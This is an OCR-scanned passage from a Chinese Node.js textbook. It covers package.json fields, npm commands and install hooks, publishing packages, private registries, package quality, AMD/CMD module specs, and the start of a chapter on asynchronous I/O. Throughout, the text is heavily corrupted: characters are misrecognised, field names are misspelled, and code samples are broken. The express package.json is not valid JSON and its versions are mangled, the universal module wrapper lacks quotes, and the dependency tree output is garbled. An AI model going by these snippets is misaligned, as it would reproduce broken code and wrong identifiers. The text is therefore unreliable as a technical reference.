在 包 描 述 文 件 的 规范 中 , NPM 实 际 需 要 的 字段 主要 有 name 、vetsion、descTiption 、keywords 、 
repositories、 author、 bin、main、scripts、engines、dependencies、devDependencies。 

与 包 规 范 的 区 别 在 于 多 了 author、bin、main 和 devDependencies 这 4 个 字段 , 下 面 补充 说 明 一 下 。 

口 author。 包 作者 。 

口 bin。 一 些 包 作者 希望 包 可 以 作为 命令 行 工 具 使 用 。 配 置 好 pin 字段 后 ， 通 过 npm install 

package_name -8 命令 可 以 将 脚本 添加 到 执行 路 径 中 ， 之 后 可 以 在 命令 行 中 直接 执行 。 前 
面 的 node-gyp 即 是 这 样 安装 的 。 通 过 -8g 命 令 安装 的 模块 包 称 为 全 局 模式 。 

D main。 模 块 引入 方法 require() 在 引入 包 时 ， 会 优先 检查 这 个 字段 ， 并 将 其 作为 包 中 其 余 

模块 的 入 口 。 如 果 不 存在 这 个 字段 , require() 方 法 会 查找 包 目 录 下 的 index.js、index.node、 
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index.json 文 件 作为 默认 入 口 。 

口 devDependencies。 一 些 模块 只 在 开发 时 需要 依赖 。 配 置 这 个 属性 ， 可 以 提示 包 的 后 续 开 
发 者 安 儿 依赖 包 。 

下 面 是 知名 框架 express 项 目的 package.json 文 件 ， 具 有 一 定 的 参考 意义 : 

{ 


"name": "express", 
"description": "Sinatra inspired web development framework", 
"version": "3.3.4", 
"author": "TJ] Holowaychuk <tj@vision-media.ca>", 
"contributors": |[ 
| 
"name": "TJ Holowaychuk ， 
"email": "tjQ@vision-media.ca" 


"name": "Aaron Heckmann", 
"email": "aaron.heckmann+github@gmail.com 


"name": "Ciaran Jessup ， 
"email": "ciaranj@gmail.com" 


"name": "Guillermo Rauch", 
"email": "rauchg@gmail.com' 


} 
]， 


"dependencies": { 
"connect": "2.8.4" 
1.2 


2 
"commander": 0", 
"range-parser": 0.0.4 ， 
"mkdirp": “0.3.5 ， 
"cookie": “0.1.0 ， 
“buffer-crc32 : 0.2.1 ， 
"fresh": "0.1.0”， 
"methods": “0.0.1 ， 
"send": "0.1.3”， 
"cookie-signature": “1.0.1 ， 


"debug": "*" 

}， 

"devDependencies": { 
"ejs": "*", 
"mocha™: "*", 
"jade": "0.30.0", 
"hs 
"stylus": "*", 
"should": "*", 
"connect-redis": "*") 
"marked": "*", 
"supertest": "0.6.0" 

)， 
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"keywords": [ 
“eXpIeSss ， 
“ framework ， 
"sinatra", 
"web",， 
"rest",， 
"restful", 
"router", 
app ， 
"api" 

]， 


"repository": "git://github.com/visionmedia/express", 


"main": “Index ， 
"bin": { 
"express": "./bin/express" 
}， 
"scripts": { 


"prepublish": "npm prune", 
"test": "make test" 
}, 
"engines": { 
"node™: "*" 
} 
} 


2.6.3 ”NPM 常用 功能 


CommonJS 包 规范 是 理论 ，NPM 是 其 中 的 一 种 实践 。NPM 之 于 Node， 相 当 于 gem 之 于 Ruby， 
pear 之 于 PHP。 对 于 Node 而 言 ，NPM 帮 助 完 成 了 第 三 方 模块 的 发 布 、 安 装 和 依赖 等 。 借 助 NPM， 
Node 与 第 三 方 模块 之 间 形 成 人 


信 助 NPM， 可 以 帮助 用 户 快 速 安 妆 和 管理 依赖 包 。 除 此 之 外 ，NPM 还 有 一 些 巧妙 的 用 法 ， 
下 面 我 们 详细 介绍 一 下 。 

1. 查看 帮助 

在 安装 Node 之 后 ， 执 行 npm -v 命 令 可 以 查看 当前 NPM 的 版 本 : 

$ npm -Vv 

1.2.32 

在 不 熟 悉 NPM 的 命令 之 前 ， 可 以 直接 执行 NPM 查 看 到 帮助 引导 说 明 : 

$ npm 


Usage: npm <command> 


Where <command> is one of: 
add-user, adduser, apihelp, author, bin, bugs, c, cache, 
completion, config, ddp, dedupe, deprecate, docs, edit, 
explore, faq, find, find-dupes, get, help, help-search, 
home, i, info, init, install, isntall, issues, la, link, 
list, 11, ln, login, ls, outdated, owner, pack, prefix, 
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prune, publish, r, rb, rebuild, remove, restart, rm, root, 
run-script, s, se, search, set, show, shrinkwrap, star, 
stars, start, stop, submodule, tag, test, tst, un, 
uninstall, unlink, unpublish, unstar, up, update, version, 
view, whoami 


npm <cmd> -h quick help on <cmd> 

npm -1 display full usage info 
npm faq commonly asked questions 
npm help <term> search for help on <term> 
npm help npm involved overview 


Specify configs in the ini-formatted file: 
/Users/jacksontian/.npmrc 

or on the command line via: npm <command> --key value 

Config info can be viewed via: npm help config 


npm@1.2.32 /usr/local/lib/node modules/npm 

可 以 看 到 ， 帮 助 中 列 出 了 所 有 的 命令 ， 其 中 npm help “command> 可 以 查看 具体 的 命令 说 明 。 

2. 安 效 依赖 包 

安装 依赖 包 是 NPM 最 常见 的 用 法 ， 它 的 执行 语句 是 npm install express。 执 行 该 命令 后 ， 
NPM 会 在 当前 目录 下 创建 node modules 上 日 录 , 然后 在 node modules 目 录 下 创建 express 目 录 ， 接 着 
将 包 解 压 到 这 个 目录 下 。 

安装 好 依赖 包 后 ,直接 在 代码 中 调用 require('express'); 即 可 引入 该 包 。 require() 方 法 在 做 
路 径 分 析 的 时 候 会 通过 模块 路 径 查 找到 express 所 在 的 位 置 。 模块 引入 和 包 的 安装 这 两 个 步骤 是 相 
辅 相 承 的 。 

@ 全 局 模式 安装 

如 果 包 中 含有 命令 行 工 具 ， 那 么 需要 执行 hpm install express -g 命 令 进 行 全 局 模式 安装 。 
需要 注意 的 是 , 全 局 模式 并 不 是 将 一 个 模块 包 安 装 为 一 个 全 局 包 的 意思 , 它 并 不 意味 着 可 以 从 任 
何 地 方 通过 require() 来 引用 到 它 。 

全 局 模式 这 个 称谓 其 实 并 不 精确 , 存在 诸多 误导 。 实 际 上 ，-g 是 将 一 个 包 安 装 为 全 局 可 用 的 
可 执行 命令 。 它 根据 包 描 述 文 件 中 的 bin 字 段 配 置 ， 将 实际 脚本 链接 到 与 Node 可 执行 文件 相同 的 
路 径 下 : 

"bin": { 


"express": "./bin/express" 


外 

事实 上 , 通过 全 局 模式 安 闻 的 所 有 模块 包 都 被 安 痛 进 了 一 个 统一 的 目录 下 ,这 个 目录 可 以 通 
过 如 下 方式 推算 出 来 : 

path.resolve(process.execPath, '..', '..', 'lib', 'node modules'); 

如 果 Node 可 执行 文件 的 位 置 是 /usr/local/bin/node ， 那 么 模块 目录 就 是 /hsr/local/lib/node_ 
modules。 最 后 ， 通 过 软 链 接 的 方式 将 bin 字 上段 配置 的 可 执行 文件 链接 到 Node 的 可 执行 目录 下 。 

@ 从 本 地 安装 

对 于 一 些 没 有 发 布 到 NPM 上 的 包 , 或 是 因为 网 络 原 因 导 致 无 法 直接 安 猴 的 包 , 可 以 通过 将 包 
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下 载 到 本 地 ， 然 后 以 本 地 安装 。 本 地 安装 只 需 为 NPM 指 明 package.json 文 件 所 在 的 位 置 凤 可; 它 
可 以 是 一 个 包含 package.json 的 存档 文件 ， 也 可 以 是 一 个 URL 地 址 ， 也 可 以 是 一 个 目录 下 有 
package.json 文 件 的 目录 位 置 。 具 体 参数 如 下 : 


npm install <tarball file> 
npm install <tarball url> 
npm install <folder> 


@ 从 非 官方 源 安 装 

如 条 不 能 通过 官方 源 安 效 ， 可 以 通过 镜像 源 安 装 。 在 执行 命令 时 ， 添 加 --Tegistry=http:// 
registry.url 即 可 ， 示 例如 下 : 

npm install underscore --registry=http://registry.url 

如 朱 使 用 过 程 中 几乎 都 采用 镜像 源 安 装 ， 可 以 执行 以 下 命令 指定 默认 源 : 

npm config set registry http://registry.url 

3. NPM 钧 子 命令 

男 一 个 需要 说 明 的 是 C/C++ 模块 实际 上 是 编译 后 才能 使 用 的 。package.json 中 scripts 字 有 段 的 
提出 就 是 让 包 在 安 竣 或 者 到 载 等 过 程 中 提供 钓 子 机 制 ， 示 例如 下 : 


"scripts": { 
"preinstall": "preinstall.js", 
"install": "install.js", 
"uninstall": "uninstall.js", 
"test": "test.js" 


在 以 上 字段 中 执行 npm install <package> 时 ，preinstall 指 向 的 脚本 将 会 被 加 载 执 行 ， 然 后 
instal1 指 向 的 脚本 会 被 执行 。 在 执行 npm uninstall <package> 时 ，uninstall 指 向 的 脚本 也 许 会 
做 一 些 清理 工作 等 。 

当 在 一 个 具体 的 包 目 录 下 执行 npm test 时 ， 将 会 运行 test 指 向 的 脚本 。 一 个 优秀 的 包 应 当 包 
含 测试 用 例 ， 并 在 package.json 文 件 中 配置 好 运行 测试 的 命令 ,方便 用 户 运 行 测试 用 例 ， 以 便 检 
验 包 是 否 稳定 可 徘 。 

4. 发 布 包 

为 了 将 整个 NPM 的 流程 串联 起 来 ， 这 里 将 演示 如 何 编写 一 个 包 ， 将 其 发 布 到 NPM 仓 库 中 ， 
并 通过 NPM 安 装 回 本 地 。 

@ 编写 模块 

模块 的 内 容 我 们 尽量 保持 简单 ， 这 里 还 是 以 sayHello 作 为 例子 ， 相 关 代 人 码 如 下 : 


exports.sayHello = function () { 
return ‘Hello, world.'; 


}; 

将 这 段 代 码 保存 为 hello.js 即 可 。 

@ 初始 化 包 描 述 文件 

package.json 文 件 的 内 容 尽管 相对 较 多 , 但 是 实际 发 布 一 个 包 时 并 不 需要 一 行 一 行 编写 .NPM 
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提供 的 npm init 命 令 会 帮助 你 生成 package.json 文 件 ， 具体 如 下 所 示 : 


$ npm init 
This utility will walk you through creating a package.json file. 
It only covers the most common items, and tries to guess sane defaults. 


See npm help json for definitive documentation on these fields 
and exactly what they do. 


Use npm install <pkg> --save afterwards to install a package and 
save it as a dependency in the package.json file. 


Press ^C at any time to quit. 
name: (module) hello test jackson 
version: (0.0.0) 0.0.1 
description: A hello world package 
entry point: (hello.js) ./hello.js 
test command: 

git repository: 

keywords: Hello world 

author: Jackson Tian 

license: (BSD) MIT 

About to write to /Users/jacksontian/git/diveintonode/examples/03/module/package.json: 


{ 
"name": "hello test jackson ， 
"version": "0.0.1", 
"description": "A hello world package ， 
"main": "./hello.js", 
"scripts": { 
"test": "echo \"Error: no test specified\" && exit 1" 
}, 
"repository": "" 
"keywords": |[ 
"Hello", 
"world" 
]， 
"author : "Jackson Tian ， 
"license": "MIT" 
} 


Is this ok? (yes) yes 
npm WARN package.json hello test jackson@0.0.1 No README.md file found! 


NPM 通 过 提问 式 的 交互 逐个 填 人 选项 , 最 后 生成 预览 的 包 描 述 文 件 。 如 果 你 满意 , 输入 yes， 
此 时 会 在 目录 下 得 到 package.json 文 件 。 

@ 注册 包 仓 库 账号 

为 了 维护 包 ，NPM 必 须要 使 用 仓库 账号 才 允 许 将 包 发 布 到 仓库 中 。 注 册 账 号 的 命令 是 npm 
adduser。 这 也 是 一 个 提问 式 的 交互 过 程 ， 按 顺序 进行 即 可 : 


$ npm adduser 
Username: (jacksontian) 
Email: (shyvo1987@gmail.com) 
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@ 上 传 包 
上 传 包 的 命令 是 npm publish <folder>。 在 刚刚 创建 的 package.json 文 件 所 在 的 目录 下 ， 执 行 
npm publish .开始 上 传 包 ， 相 关 代 码 如 下 : 


$ npm publish . 

npm http PUT http://registry.npmjs.org/hello test jackson 

npm http 201 http://registry.npmjs.org/hello test jackson 

npm http GET http://registry.npmjs.org/hello test jackson 

npm http 200 http://registry.npmjs.org/hello test jackson 

npm http PUT http://registry.npmjs.org/hello test jackson/0.0.1/-tag/latest 

npm http 201 http://registry.npmjs.org/hello test jackson/0.0.1/-tag/latest 

npm http GET http://registry.npmjs.org/hello test jackson 

npm http 200 http://registry.npmjs.org/hello test jackson 

npm http PUT 

http://registry.npmjs.org/hello test jackson/-/hello test jackson-0.0.1.tgz/-rev/2-2d64e0946b86687 
8bb252f182070c1d5 

npm http 201 

http://registry.npmjs.org/hello test jackson/-/hello test jackson-0.0.1.tgz/-rev/2-2d64e0946b86687 
8bb252f182070c1d5 

+ hello _ test jackson@0.0.1 


在 这 个 过 程 中 ，NPM 会 将 目录 打包 为 一 个 存档 文件 ， 然 后 上 传 到 官方 源 仓库 中 。 
@ 安装 包 


为 了 体验 和 测试 自己 上 传 的 包 ， 可 以 换 一 个 目录 执行 npm install hello_test_jackson 安 


音 
[tt 


$ npm install hello test jackson --registry=http://registry.npmjs.org 
npm http GET http://registry.npmjs.org/hello test jackson 
npm http 200 http://registry.npmjs.org/hello test jackson 
hello test jackson@0.0.1 ./node modules/hello test jackson 


@ 管理 包 权 限 

通常 ， 一 个 包 只 有 一 个 人 拥有 权限 进行 发 布 。 如 果 需 要 多 人 进行 发 布 ， 可 以 使 用 npm owner 
命令 帮助 你 管理 包 的 所 有 者 : 

$ npm owner ls eventproxy 

npm http GET https://registry.npmjs.org/eventproxy 


npm http 200 https://registry.npmjs.org/eventproxy 
Jacksontian <shyvo1987@gmail.com> 


使 用 这 个 命令 ， 也 可 以 添加 包 的 拥有 者 ， 删 除 一 个 包 的 拥有 者 : 


npm owner ls <package name> 
npm owner add <user> 《package name> 
npm owner rm <user> 《package name> 


5. 分 析 包 

在 使 用 NPM 的 过 程 中 ,或 许 你 不 能 确认 当前 目录 下 能 否 通 过 require() 顺 利 引 入 想 要 的 包 ， 
这 时 可 以 执行 npm 1s 分 析 包 。 

这 个 命令 可 以 为 你 分 析出 当前 路 径 下 能 够 通过 模块 路 径 找 到 的 所 有 包 , 并 生成 依赖 树 , 如 下 : 
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$ npm 1s 

/Users/jacksontian 

上 一 connecto2.0.3 

| “上 一 crc@0.1.0 

| “上 一 一 debugQo.6.0 

| “上 一 一 formidable601.0.9 

| “上 一 mime@1.2.4 

| “一 一 qs600.4.2 

一 一 hello test jackson60.0.1 
-一 一 Urll1ib6o.2.3 


2.6.4 ”局 域 NPM 


在 企业 的 内 部 应 用 中 使 用 NPM 与 开源 社区 中 使 用 有 一 定 的 差别 , 企业 的 限制 在 于 , 一 方面 需 
要 享受 到 模块 开发 带 来 的 低 耦 合 和 项 目 组织 上 的 好 处 ， 另 一 方面 却 要 考虑 到 模块 保密 性 的 问题 。 
所 以 ,通过 NPM 共 享 和 发 布 存 在 潜在 的 风险 。 

为 了 同时 能 够 享受 到 NPM 上 众多 的 包 , 同时 对 自己 的 包 进 行 保密 和 限制 , 现 有 的 解决 方案 就 
是 企业 搭建 自己 的 NPM 仓 库 。 

所 第 ， NPM 上 自身 是 开源 的 ， 无 论 是 它 的 服务 顺 端 和 客户 端 。 通 过 源 代码 搭建 自己 的 仓库 并 
不 是 什么 秘密 。 

局 域 NPM 仓 库 的 搭建 方法 与 搭建 镜像 站 (详情 可 参见 附录 D ) 的 方式 几乎 一 样 。 

与 镜像 仓库 不 同 的 地 方 在 于 , 企业 局 域 NPM 可 以 选择 不 同步 官方 源 仓库 中 的 包 。 图 2-10 为 企 
业 中 混合 使 用 官方 仓库 和 局 域 仓库 的 示意 图 。 


图 2-10 ”混合 使 用 官方 仓库 和 局 域 仓库 的 示意 图 


对 于 企业 内 部 而 言 ， 秘 有 的 可 重用 模块 可 以 打包 到 局 域 NPM 仓 库 中 ， 这 样 可 以 保持 更 新 
的 中 心 化 ， 不 至 于 让 各 个 小 项 目 各 目 维 护 相 同 功 能 的 模块 ， 村 绝 通 过 复制 粘贴 实现 代码 共 圣 
的 行为 。 
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2.6.5 ” ”NPM 潜在 问题 


作为 为 模块 和 包 服 务 的 工具 ,NPM 十 分 便捷 。 它 实质 上 已 经 是 一 个 包 共 享 平台 , 所 有 人 都 可 
以 贡献 模块 并 将 其 打包 分 对 到 这 个 平台 上 ， 也 可 以 在 许可 证 (大 多 是 MIT 许 可 证 ) 的 允许 下 免费 
使 用 它们 。NPM 提 供 的 这 些 便 捷 , 将 模块 链接 到 一 个 共享 平台 上 , 缩短 了 贡献 者 与 使 用 者 之 间 的 
距离 , 这 十 分 有 利于 模块 的 传播 , 进而 也 十 分 利于 Node 的 推广 。 几 乎 没有 一 种 语言 或 平台 有 Node 
这 样 出 现 才 3 年 多 就 拥有 成 干 上 万 个 第 三 方 模块 的 情景 。 这 个 功 秀 一 部 分 是 因为 Node 选 择 了 
JavaScript, 这 门 语言 拥有 极 大 的 开发 人 员 基 数 , 具 有 强大 的 生产 力 ; 男 一 部 分 则 是 因为 CommonJS 
规范 和 NPM， 它 们 使 得 产品 能 够 更 好 地 组 织 、 传 播 和 使 用 。 

洪 在 的 问题 在 于 ， 在 NPM 平 台 上 ， 每 个 人 都 可 以 分 娃 包 到 平台 上 ， 鉴 于 开发 人 员 水 平 不 一 ， 
上 面 的 包 的 质量 也 恨 基 不 齐 。 另 一 个 问题 则 是 ，Node 代 码 可 以 运行 在 服务 需 端 ， 需 要 考虑 安全 
问题 。 

对 于 包 的 使 用 者 而 言 ， 包 质量 和 安全 问题 需要 作为 是 否 采纳 模块 的 一 个 判断 条 件 。 

尽管 NPM 没 有 硬性 的 方式 去 评判 一 个 包 的 质量 和 安全 ,好 在 开源 社区 也 有 它 内 在 的 健康 发 展 
机 制 ， 那 就 是 口碑 效应 ， 其 中 NPM 模 块 首 页 (https:/npmjs.org/ ) 上 的 依赖 榜 可 以 说 明 模块 的 质 
量 和 可 靠 性 。 第 二 个 可 以 考查 质量 的 地 方 是 GitHub, NPM 中 大 多 的 包 都 是 通过 GitHub 托 管 的 , 模 
块 项 目的 观察 者 数量 和 分 文 数 量 也 能 从 侧面 反映 这 个 模块 的 可 徘 性 和 流行 上 度 。 第 三 个 可 以 考量 包 
质量 的 地 方 在 于 包 中 的 测试 用 例 和 文档 的 状况 ， 一 个 没有 单元 测试 的 包 基 本 上 是 无 法 被 信任 的 ， 
没有 文档 的 包 ， 使 用 者 使 用 时 内 心 也 是 不 踏实 的 。 

在 安全 问题 上 , 在 经 过 模块 质量 的 考查 之 后 ,应 该 可 以 去 掉 一 大 半 候 选 包 。 基 于 使 用 者 大 多 
是 JavaScript 程 序 员 , 难点 其 实 存在 于 第 三 方 C/C++ 扩展 模块 ,这 类 模块 建议 在 企业 的 安全 部 门 检 
查 之 后 方 可 允许 使 用 。 

事实 上 ,为 了 解决 上 述 问 题 ，Isaac Z. Schlueter 计 划 引 入 CPAN 社 区 中 的 Kwalitee 风 \ 格 来 让 模 
块 进行 目 然 排序 。Kwalitee 是 一 个 拟 声 词 ， 发 首 与 quality 相 同 。CPAN 社 区 对 它 的 原始 定义 如 下 : 

“Kwalitee” is something that looks like quality, sounds like quality, but is not quite quality. 

大 致意 思 舟 是 确认 一 个 模块 的 质量 是 否 优秀 并 不 是 那么 容 兄 ， 只 能 从 一 些 表 象 来 进行 考查 ， 
但 即便 考查 者 通过 ,也 并 不 能 确定 它 就 是 高 质量 的 模块 ,这 个 方法 能 够 排除 大 部 分 不 合格 的 模块 ， 
虽然 不 够 精确 但 是 有 效 。 总 体 而 言 ， 符 合 Kwalitee 的 模块 要 满足 的 条 件 与 上 述 提 及 的 考查 点 大 至 
相同 。 

口 具备 良好 的 测试 。 

口 具备 民 好 的 文档 ( README、API )。 

口 具备 良好 的 测试 履 新 率 。 

口 具备 良好 的 编码 规范 。 

口 更 多 条 件 。 

CPAN 社 区 制定 了 相当 多 的 规范 来 考查 模块 。 未 来 , NPM 社 区 也 会 有 更 多 的 规范 来 考查 模块 。 
读者 可 以 根据 这 些 条 于 区 分 出 那些 优秀 的 模块 和 糟粕 的 模块 。 
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谈论 了 许多 后 端 模块 的 具体 实现 后 ， 现 在 我 们 于 比 CommonJS 规 范 再 次 回 到 前 端 模块 上 。 
JavaScript 在 Node 出 现 之 后 ， 比 别 的 编程 语言 多 了 一 项 优势 ， 那 就 是 一 些 模块 可 以 在 前 后 端 实 现 
共用 ， 这 是 因为 很 多 API 在 各 个 答 主 环境 下 都 提供 。 但 是 在 实际 情况 中 ， 前 后 端的 环境 是 略 有 差 
别 的 。 


2.7.1 模块 的 侧重 点 


前 后 端 JavaScript 分 别 搁 置 在 HTTP 的 两 闫 ， 它 们 扮演 的 角色 并 不 同 。 浏 览 硕 端的 JavaScript 
需要 经 历 从 同一 个 服务 硕 端 分 发 到 多 个 客户 端 执行 ,而 服务 硕 端 JavaScript 则 是 相同 的 代码 需要 多 
次 执行 。 前 者 的 瓶 句 在 于 寓 宽 ， 后 者 的 瓶 令 则 在 于 CPU 和 内 存 等 资源 。 前 者 需要 通过 网 络 加 载 代 
但 ， 后 者 从 磁盘 中 加 载 ， 两 者 的 加 载 速度 不 在 一 个 数量 级 上 。 

纵 观 Node 的 模块 引入 过 程 ， 几 乎 全 都 是 同步 的 。 尽 管 与 Node 强 调 异 步 的 行为 有 些 相 反 ， 但 
它 是 合理 的 。 但 是 如 果 前 端 模 块 也 采用 同步 的 方式 来 引入 , 那 将 会 在 用 户 体验 上 造成 很 大 的 问题 。 
UI 在 初始 化 过 程 中 需要 花费 很 多 时 间 来 等 竺 脚本 加 载 完 成 。 

鉴于 网 络 的 原因 ，CommonJS 为 后 端 JavaScript 制 定 的 规范 并 不 完全 适合 前 问 的 应 用 场景 。 经 
过 一 段 争 执 之 后 ，AMD 规 范 最 终 在 前 山 应 用 场景 中 胜出 。 它 的 全 称 是 Asynchronous Module 
Definition， 即 是 “异步 模块 定义 ”， 详 见 https:VWgithub.comyamdjs/amdjs-api/wikiAMD。 除 此 之 外 ， 
还 有 玉 伯 定义 的 CMD 规 范 。 


2.7.2 AMD 规 学 


AMD 规 范 是 CommonJS 模 块 规范 的 一 个 延伸 ， 它 的 模块 定义 如 下 : 
define(id?, dependencies?, factory); 
它 的 模块 id 和 依赖 是 可 选 的 ， 与 Node 模 块 相 似 的 地 方 在 于 factory 的 内 容 就 是 实际 代码 的 内 
容 。 下 面 的 代码 定义 了 一 个 简单 的 模块 : 
define(function() { 
var exports = {}; 
exports.sayHello = function() { 
alert('Hello from module: ' + module.id); 
}; 
return exports,; 


}); 

不 同 之 处 在 于 AMD 模 块 需要 用 define 来 明确 定义 一 个 模块 ,而 在 Node 实 现 中 是 隐 式 包装 的 ， 
它们 的 目的 是 进行 作用 域 隔离 , 仪 在 需要 的 时 候补 引入 ,避免 挥 过 去 那 种 通过 全 局 变量 或 者 全 局 
命名 空间 的 方式 , 以 免 变 量 污染 和 不 小 心 被 修改 。 男 一 个 区 别 则 是 内 容 需 要 通过 返回 的 方式 实现 
导出 。 
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2.7.3 ”CMD 规范 


CMD 规 范 由 国内 的 玉 伯 提出 ， 与 AMD 规 范 的 主要 区 别 在 于 定义 模块 和 依赖 引入 的 部 分 。 
AMD 需 要 在 声明 模块 的 时 候 指 定 所 有 的 依赖 ， 通 过 形 参 传递 依赖 到 模块 内 容 中 : 


define(['dep1', 'dep2'], function (dep1, dep2) { 2 


return function () {}; 


}); 
与 AMD 模 块 规 邦 相 比 ，CMD 模 块 更 接近 于 Node 对 CommonJS 规 冰 的 定义 : 
define(factory); 


在 依赖 部 分 ，CMD 文 桂 动 态 引 入 ， 丰 例如 下 : 


define(function(require, exports, module) { 
// The module code goes here 


)); 
require、exports 和 module 通 过 形 参 传递 给 模块 ， 在 需要 依赖 模块 时 ， 随 时 调用 require() 引 
入 即 可 。 


2.7.4 ”兼容 多 种 模块 规范 


为 了 证 同一 个 模块 可 以 运行 在 前 后 让, 在 写作 过 程 中 需要 考虑 菩 容 前 病 也 实现 了 模块 规范 的 
环境 。 为 了 保持 前 后 端的 一 致 性 ,类 库 开发 者 震 要 将 类 库 代 码 包 效 在 一 个 财 包 内 。 以 下 代码 演示 
如 何 将 hello() 方 法 定义 到 不 同 的 运行 环境 中 ,， 它 能 够 兼容 Node、AMD、CMD 以 及 第 见 的 浏览 8 
环境 中 : 


;(function (name, definition) { 
// 检测 上 下 文 环境 是 否 为 AMD 或 CMD 


var hasDefine = typeof define === function ， 
// 检查 上 下 文 环境 是 否 为 Node 
hasExports = typeof module !== undefined && module.exports; 


if (hasDefine) { 
// AMD 环 境 或 CMD 环 境 
define(definition); 
} else if (hasExports) { 
// 定义 为 普通 Node 模 块 
module.exports = definition(); 
} else { 
// 将 模块 的 执行 结果 挂 在 Nindow 变 量 中 ， 在 浏览 器 中 this 指 向 Window 对 象 
this[name] = definition(); 


} 

})('hello', function () { 
var hello = function () {}; 
return hello; 


)); 
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2.8 总结 


CommonJS 提 出 的 规范 均 十 分 简单 ， 但 是 现实 意义 却 十 分 强大 。Node 通 过 模块 规范 ,组织 

日 身 的 原生 模块 ， 弥 补 JavaScript 弱 结构 性 的 问题 ， 形 成 了 稳定 的 结构 ， 并 回 外 提供 服务 。NPM 
通过 对 包 规 范 的 文 持 ,有 效 地 组 织 了 第 三 方 模块 , 这 使 得 项 目 开 发 中 的 依赖 问题 得 到 很 好 的 解决 ， 
并 有 效 提 供 了 分 享 和 传播 的 平台 , 借助 第 三 方 开源 力量 , 使 得 Node 第 三 方 模块 的 发 展 速度 前 所 未 
有 ,， 这 对 于 其 他 后 端 JavaScript 语 言 实现 而 言 是 从 未 有 过 的 。 从 一 定 的 角度 上 讲 ，CommonJS 规 范 
帮助 Node 形 成 了 它 的 骨骼 。 只 有 再 壮 的 根 , 才能 培养 出 茂盛 的 枝叶 ， 并 成 长 为 参天 大 树 。 正 是 这 
些 底 层 的 规 邦 和 实践 ， 使 得 Node 有 订 地 发 展 着 ， 控 脱 挥 过 去 JavaScript 人 纷乱 和 被 误解 的 局 面 ， 进 
而 进化 成 良性 的 生态 系统 。 


2.9 ”参考 资源 
本 音 参考 的 资源 如 下 . 


DQ http:/Wwww.common]js.org 

D http://npmjs.org/doc/README.html 

QD http:/www.Infodq.comycm/articles/msh-using-npm-manage-node.]S-dependence 

DQ http://nodejs.org/docs/latest/api/modules.html 

DQ http://addyosmani.com/writing-modular-]s/ 

DQ http://seajs.org/docs/ 

口 http://zh.wikipedia.org/zh/JavaScript 

DQ http://zh.wikipedia.org/WikV ECMA Script 

D http:/www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf 

DQ http://www.w3.org/ 工 Rhtmjl3/ 

DQ http://arstechnica.com/web/news/2009/12/common]js-effort-sets-Javascript-on-path-for-world-d 
omination.ars 

DQ http://cnodejs.org/topic/4f16442ccaelf4aa270010d7 

DQ http://Wwiki.commonjs.org/wik1i/Packages/1.0 

DQ http:/npmjs.org/doc/developers.html#The-package-]Json-File 
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在 第 1 曹 中， 我 们 曾 简单 介绍 过 异步 JO。 “异步 ” 这 个 名 词 其 实 很 早 就 证 生 了 ， 但 它 的 大 规 
模 流 行 却 是 在 Web 2.0 浪 潮 中 ， 它 伴随 厦 AJAX 的 第 一 个 A( Asynchronous ) 席卷 了 Web。Node 在 
出 现 之 前 ， 最 习惯 异步 编程 的 程序 员 英 过 于 前 病 工 程 是 了。 前 并 编程 算 GUI 编 程 的 一 种 ， 其 中 充 
斥 了 各 种 Ajax 和 事件 ， 这 些 都 是 典型 的 异步 应 用 场景 。 

但 事实 上 ， 异 步 早 就 存在 于 操作 系统 的 底层 。 在 底层 系统 中 ， 异 步 通过 信号 量 、 消 息 等 方式 
有 了 广泛 的 应 用 。 音 外 的 是 ， 在 绝 大 多 数 高 级 编程 语言 中 ， 异 步 并 不 多 见 ， 疑 似 被 屏蔽 了 一 般 。 
造成 这 个 现象 的 主要 原因 也 许 令 人 惊讶 : 程序 员 不 太 适 合 通过 异步 来 进行 程序 设计 。 

PHP 这 门 语言 的 设计 最 能 体现 这 个 观点 。 它 对 调用 层 不 仪 屏 蔽 了 异步 ,甚至 连 多 线程 都 不 提 
供 。PHP 语 言 从 头 到 脚 都 是 以 同步 阻塞 的 方式 来 执行 的 。 它 的 优点 十 分 明显 ， 利 于 程序 员 顺 序 编 
写 业 务 逻 辑 ; 它 的 缺点 在 小 规模 站 点 中 基本 不 存在 , 但 是 在 复杂 的 网 络 应 用 中 , 阻塞 导致 它 无 法 
更 好 地 并 发 。 

而 在 其 他 场 言 中 ， 尽 管 可 能 存在 异步 的 API， 但 是 程序 员 还 是 习惯 采用 同步 的 方式 来 编写 应 
用 。 在 众多 融 级 编程 语言 或 运行 平台 中 ， 将 异步 作为 主要 编程 方式 和 设计 理念 的 ，Node 是 首 个 。 

伴随 着 异步 /1O 的 还 有 事件 驱动 和 单线 程 ， 它 们 构成 Node 的 基调 ，Ryan Dahl 正 是 基于 这 几 个 
系 设 计 了 Node。Ryan Dahl 最 初期 望 设 计 出 一 个 高 性 能 的 Web 服 务 硕 ， 后 来 则 演变 为 一 个 可 以 
基于 它 构 建 各 种 高 速 、 可 伸缩 网 络 应 用 的 平台 ， 因 为 一 个 Web 服 务 融 已 经 无 法 完全 涵盖 和 代表 它 
的 能 力 了 。 尽 管 它 不 再 是 一 个 服务 硕 ， 但 是 可 以 基于 它 搭 建 更 多 更 丰富 、 更 强大 的 网 络 应 用 。 

与 Node 的 事件 驱动 .异步 LO 设计 理念 比较 相近 的 一 个 知名 产品 为 Neginx。Nginx 采 用 纯 C 编 写 ， 
性 能 表现 非常 优异 。 它 们 的 区 别 在 于 ，Nginx 具 备 面 回 客户 端 管理 连接 的 强大 能 力 ， 但 是 它 的 青 
后 依然 受 限 于 各 种 同步 方式 的 编程 语言 。 但 Node 却 是 全 方位 的 , 既 可 以 作为 服务 需 端 去 处 理 客户 
端 市 来 的 大 量 并 发 请 求 ， 也 能 作为 客户 端 回 网 络 中 的 各 个 应 用 进行 并 发 请 求 。 

Web 的 含义 是 网 ，Node 的 表现 就 如 它 的 名 字 一 样 ， 是 网 络 中 灵活 的 一 个 和 点 。 


3.1 为 什么 要 异步 I/O 


关于 异步 /O 为 何在 Node 里 如 此 重要 ， 这 与 Node 面 向 网 络 而 设计 不 无 关系 。Web 应 用 已 经 不 
再 是 单 台 服 务 需 就 能 胜任 的 时 代 了 ， 在 跨 网 络 的 结构 下 ， 并 发 已 经 是 现代 编程 中 的 标准 配备 了 。 
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具体 到 实处 ， 则 可 以 从 用 户 体 验 和 资源 分 配 这 两 个 方面 说 起 。 


3.1.1 用 尸体 验 


异步 的 概念 之 所 以 首先 在 Web 2.0 中 火 起 来 ， 是 因为 在 浏览 融 中 JavaScript 在 单线 程 上 执行 ， 
